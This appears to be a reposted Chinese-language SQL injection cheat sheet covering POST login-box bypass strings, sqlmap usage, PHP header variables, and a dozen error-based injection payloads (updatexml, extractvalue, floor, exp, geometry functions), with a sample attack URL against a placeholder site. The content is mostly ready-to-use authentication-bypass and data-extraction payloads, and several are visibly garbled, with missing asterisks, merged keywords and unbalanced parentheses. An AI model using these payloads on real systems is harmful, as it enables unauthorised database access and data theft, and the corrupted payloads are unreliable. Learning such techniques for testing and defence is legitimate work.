sql注入——post,head,報錯注入


 

sql注入——post,head,報錯注入

一,POST注入
post注入高危點:
登錄框
查詢框
各類與數據庫有交互框
經典的萬能密碼
'or 1=1#
在這里插入圖片描述
post注入跟get注入都差不多
那我們先判斷先字段數
輸入’order by 3#
在這里插入圖片描述
聯合查詢
在這里插入圖片描述
查詢數據庫名
在這里插入圖片描述
post注入檢測方式還有兩種
1,使用sqlmap -u url --forms
在這里插入圖片描述
在這里插入圖片描述
2,使用抓包工具抓包另存為1.txt並在存在注入的地方使用*標記
sqlmap -r 1.txt 此處的1.txt和sqlmap在同一目錄
后面也可跟絕對1.txt的絕對路徑
常用的萬能username語句:
a ’ or 1=1 #
a ") or 1=1 #
a‘) or 1=1 #
a” or “1”=”1
’ or ‘1’='1
’ or (length(database())) = 8 (用於輸入’ “都沒有錯誤)
’ or (ascii(substr((select database()) ,1,1))) = 115 # (用於輸入’ “都沒有錯誤)
") or (“1”)=("1
") or 1=1 or if(1=1, sleep(1), null) #
") or (length(database())) = 8 #
") or (ascii(substr((select database()) ,1,1))) = 115 or if(1=1, sleep(1), null) #
二,head注入
在php中存在用來存儲數據的變量
php中有一些預定義超全局變量
$_REQUEST(獲取get,post,cookie傳參)新版本中不支持cookie傳參
$_POST
$_GET
$_COOKIE
$_SERVER(包含了注入頭信息,路徑,以及腳本位置等信息)
$_SERVER[‘HTTP_HOST’]請求頭信息中的host內容,獲取當前域名
$_SERVER[‘HTTP_USER_AGENT’]獲取用戶相關信息,包括用戶瀏覽器,操作系統等
$_SERVER[‘REMOTE_ADDR’]瀏覽用戶的ip
記得學個php

<?php
	$a=$_SERVER['HTTP_HOST'];
	$b=$_SERVER['HTTP_USER_AGENT'];
	$c=$_SERVER['REMOTE_ADDR'];
	var_dump($a);
echo "<br>";
	var_dump($b);
echo "<br>";
    var_dump($c);
echo "<br>";
?>

在這里插入圖片描述
訪問后得到了這些數據

三,報錯注入
報錯注入使用的函數有哪些
updatexml(目標xml內容,xml文件路徑,更新內容)
updatexml(1,concat(0x7e,(select database()),0x7e),1)
在這里插入圖片描述
實戰例句
http://www.xxxx.com.cn/product/index/id/10%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)%23
在這里插入圖片描述

1、通過floor報錯,注入語句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通過ExtractValue報錯,注入語句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通過UpdateXml報錯,注入語句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通過NAME_CONST報錯,注入語句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通過join報錯,注入語句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通過exp報錯,注入語句如下:
and exp(~(select * from (select user () ) a) );

7、通過GeometryCollection()報錯,注入語句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通過polygon ()報錯,注入語句如下:
and polygon (()select * from(select user ())a)b );

9、通過multipoint ()報錯,注入語句如下:
and multipoint (()select * from(select user() )a)b );

10、通過multlinestring ()報錯,注入語句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通過multpolygon ()報錯,注入語句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通過linestring ()報錯,注入語句如下:
and linestring (()select * from(select user() )a)b );

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM